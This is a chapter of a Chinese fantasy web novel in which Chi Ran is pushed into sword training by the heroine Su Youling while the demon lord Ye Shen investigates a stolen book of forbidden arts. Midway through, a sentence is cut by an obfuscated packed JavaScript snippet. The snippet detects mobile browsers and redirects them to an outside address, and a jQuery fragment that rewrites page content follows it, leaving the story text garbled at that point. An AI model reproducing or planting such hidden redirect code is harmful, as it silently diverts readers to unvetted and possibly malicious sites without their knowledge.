此时,苏幼灵尚不知这件事的严峻性。
不就是教人修炼,只要有灵根,那有何难。
况且是她熟识又曾救过她的染姐姐。
此时,池染也不知自己马上面临着什么。
这日,她正在院子的摇椅上晒太阳。
休养数日,余毒虽清除,但身体难免有些孱弱。
难得能如此惬意。
魔宠殿比往常热闹数倍,离修整日跟在碧落身边,叽叽喳喳个没完。
池染嫌他吵,问他何时走,他却赖着说,如果不是她,自己早走了!
夜神准许苏幼灵留在魔宠殿,不知二人交易了什么。
不过,池染巴不得女主留下,为了她的大计着想。
女主伤口恢复极快,短短几日,已经能自如练剑。
不愧是天选主角,不光天资过人,身体都异于常人。
看见苏幼灵拎着剑出房门,气势汹汹,直奔池染而来。
“阿灵,你……”她开口刚要问候一二,对方竟然提着剑就朝她刺来。
池染险险躲过一剑,连滚带爬着站起来,“啊啊啊——你不要过来啊!”一边大喊。
苏幼灵表情严肃,完全不像开玩笑。
“染姐姐,接招。”说着,她随手将另一把剑丢给池染。
池染接过剑,大脑发蒙。
“阿灵这是做什么?”
苏幼灵不语,手中剑气凌人。
寒光微闪,锋刃迎面而来。
池染只能举剑格挡。
金属碰撞发出刺耳的嗡鸣声,剑身震颤,震得她手臂发麻。
“咣当”一声,剑掉在地上。
池染甩了甩手臂,反正打不过,恼火地干脆躺在地上躺尸。
一副爱咋咋地、任人宰割的模样。
苏幼灵顿时收剑,朝她伸出手,“染姐姐莫怪,阿灵只是试一下你的功力修为。”
池染仍在气头上,好歹是给她面子,起来了。
“为何要试我?”她颇为诧异,“我没什么根基的,与凡人无异。”
方才一剑便试出她的确没什么根基。
连一剑都接不住。
要让她能接下夜神一招,可能性趋近于零。
“夜神说,我能让姐姐接下他一招,便放我走。”
池染:“……”
好样的,姐妹。
“但凡我有半点天赋,也不至于被清幽逐出师门。”她拾起剑,用袖子擦的锃亮,递给苏幼灵。
苏幼灵了然,接过剑,微微蹙眉,“那日师弟为何说你叛出师门,还偷盗仙门至宝?”
“个中缘由我并不清楚,不知为何偏偏认定是我偷的。”
避免引起苏幼灵误会,认为是她有意挑拨。
在没有证据的情况下,她不能说出是清幽那个老登陷害的自己。
“染姐姐,那日你被带走后,到底发生了什么?”
二人坐在桃花树下的石凳上,桃花正值盛放时节,水粉花瓣像染了墨,点缀着满园春色。
“陆浔把我带到陆家暗室,鞭打拷问宝物下落。后来我身中剧毒,性命不保,是夜神及时出现,救了我。”
苏幼灵拍案而起,愠怒道,“混账,他怎能如此对待姐姐?!”
“你们不知道吗?”离修支棱着耳朵靠在门边,打断道。
“什么?”苏幼灵问。
“魔尊大人为了救池染,将陆家满门覆灭,据说无人生还。”离修为了证实自己所言非虚,转而向碧落求证,“是吧?碧落姐姐。”
碧落未曾反驳。
听到这个消息,池染心下一凉。
连同苏幼灵都露出难以置信的表情。
“覆……灭?”她目光转向池染,心绪难平。
池染想说点什么,话却卡在喉咙,一个字都说不出。
此时此刻,魔尊夜神的反派属性,在她心目中无限具象化。
“染姐姐,那魔头说你是他的下属,你怎能助纣为虐?”苏幼灵出言质问。
池染一时哑口无言。
她半垂眼眸,盯着地上飘落的花瓣,静默片刻后,才回答。
“阿灵可知我自幼无父无母。机缘巧合下遇到师尊,可师尊觉得我灵根平平,资质低劣,便将我逐出师门。是尊主收留我,让我有了一处容身之所。”
“染姐姐对不起。”她语气沉沉,满心愧疚,“你我立场经历本不相同,阿灵不该妄言,质问于你。”
她字字情真意切,池染内心反而不是很好受。
要不是系统限制,她肯定躲得远远地,远离一切是非,逍遥快活度过一生。
不过,此番话并不违心。
夜神哪怕恶到人神共愤,却许给她一席之地。
“不怪阿灵。”她摇头,无奈笑了笑。
暗地里,一记凶狠眼神瞟向离修,视线接触的刹那,他连忙移开,装作若无其事的摸了摸鼻子。
知道都是自己多嘴惹的祸。
为表歉意,苏幼灵郑重其事向她保证,“姐姐放心,待我回到仙门,定会为姐姐查明真相,还姐姐清白。”
这些对她而言已不重要。
“阿灵,你可知魔尊为何不准你离开这里?”
苏幼灵一头雾水,“染姐姐知晓?”
一旁的离修不知什么时候凑了过来,抻着脖子等着听八卦。
她神秘的招招手,二人自动靠近,三只脑袋围凑在一起。
池染刻意压低声音,“必定是——魔尊大人心悦于你,不然怎会想尽办法留你在夜神宫。”她添油加醋,“还有在镇魂台那次,魔尊见你格外激动,定是喜欢阿灵。”
苏幼灵:“……”
离修:“……”
二人一阵无语望天。
“不可能,绝对不可能!”苏幼灵杏眼微微睁大,当即否认,“他当时恶狠狠掐着我的脖子,你管那叫喜欢???”
“你知道有一种变态的爱,是一面想狠狠折磨对方,看对方屈服自己,一面又不想对方乖乖顺从。内心阴暗挣扎,却不肯承认自己对感情的怯懦。”
二人仿佛听到了什么惊为天人的话,都愣愣地直视她。
池染浑然不觉,持续输出:“还有阿灵受重伤昏迷不醒,魔尊心急的不行,日日都去探望。要知道,魔尊从未对谁如此。”
“噗……”离修忍不住笑出声。
有了刚才的教训,这回他硬憋着没敢出言吐槽。
苏幼灵久久无言。
而后骤然反应过来,怒而拍案,“就算如此,我断然不会因此屈服于他。那魔头如此草菅人命,我身为天界之人,势必除此祸患。”
望着她愤慨激昂的表情,头顶闪耀着正义的光环。
得,白费口舌。
池染扶额摇头,望洋兴叹。
看来首先要让女主对大佬改观,才能继续下一步。
有机会要去试探一下夜神对女主的态度。
为了你们二人的终身大事,真是操碎了心。
女主突然面色严肃地望着池染,用不容置疑的语气说:“染姐姐,从即日起,每日卯时阿灵叫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245510|197878||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你起床练剑。阿灵始终坚信,勤能补拙。染姐姐有朝一日,一定能跟那魔头过上几招。”
呵,我谢谢你啊。
自那日开始,苏幼灵便日日卯时叫早,督促池染练剑。
晨曦的光与紫月交相辉映,泛着奇异光彩。
栖夜湖幽深静谧,绿树成荫。
平静无波的碧蓝湖面折射出两种不同的色彩,仿若坠入无际星海。
池染生平第一次见到如此粲然夺目的景色。
好似闯入人间仙境,不落凡尘。
这处湖泊坐落于夜神宫最北边。
是魔界唯一没有污浊之气的地方。
进入这里,怡神静气,使人安宁。
夜神特地吩咐鬼面找来给二人修炼。
池染一本正经的给她洗脑,“你看,魔尊为你特地寻来此处,助你修炼。这还不能说明他心悦你?”
奈何女主油盐不进,一门心思只顾让她练剑。
再美的景致,每日凌晨五点起来看,也腻了。
池染顶着两个黑眼圈,打着哈欠,软弱无力地耍了个剑花。
“染姐姐,手臂用力!”
苏幼灵手拿一把戒尺,俨然一副严师模样,戒尺毫不留情地打在她的手肘窝。
她吃痛倒吸一口凉气。
打起几分精神,使出力气。
一边心不甘情不愿舞着剑花,一边嘴里嘟嘟囔囔念叨着什么。
鬼面侧耳极力想听清什么,无奈一个字都听不清。
“她嘟囔什么呢?”
夜神立于山巅,望着下方栖夜湖边那抹绯红身影。
复述道:“快使用双截棍,哼哼哈嘿……”
“啊?”鬼面质疑了下。
夜神右耳微动,“如果我有轻功,飞檐走壁。”
“为人耿直不屈,一身正气,哼……”
甚至连声调都完整复述出来。
鬼面:“???”
这是什么咒语?
二人面面相觑,无语对视半响。
鬼面摇着扇子,讪笑了下,“她们仙门的法诀真够别致。”
他表示不理解,但尊重。
“对了。”他从腰间摸出一个纸包,递给夜神,“这是碧落从陆家带回来的。”
夜神打开,里面装着白色粉末,他置于鼻端轻嗅了下。
有淡淡奇异香气,是当时清魂阵那异教徒用来迷惑村民的药粉。
他继续禀报,“据查陆家背地里私自扣押求医问药之人,用其试毒,意图炼制药人傀儡。天界对此事一无所知,尊主覆灭陆家,恐怕会引起他们的联合讨伐,我们要不要借机公开陆家的罪行?”
夜神沉寂的眼微眯了下,极为不屑,“不必。本尊杀人,岂容他人置喙。”
“另一事关于仙门山丢失的至宝,是由上古邪神风娆所纂,一本记载着上古邪法禁术的书籍。此书现世,三界必将大乱,故而仙门山并不敢声张。”
他沉吟片刻,继续道:“负责看管藏书阁的正是池染的师尊清幽,他极有可能监守自盗,然后将一切推到叛出师门的池染身上。”
“想必清魂阵便是由此而来,断然与登仙阁脱不了关系。说不定登仙阁背后之人就是清幽,又与陆家有所勾结。甚是有趣……”
夜神的目光变得意味深长,“本尊身上的禁制,说不定能从此书上找到蛛丝马迹。这趟浑水,本尊蹚了。”
这时,一名着短打劲装的清秀少年前来禀报。
“启禀尊主,主上,未骁魔君自极渊而归,身负重伤。”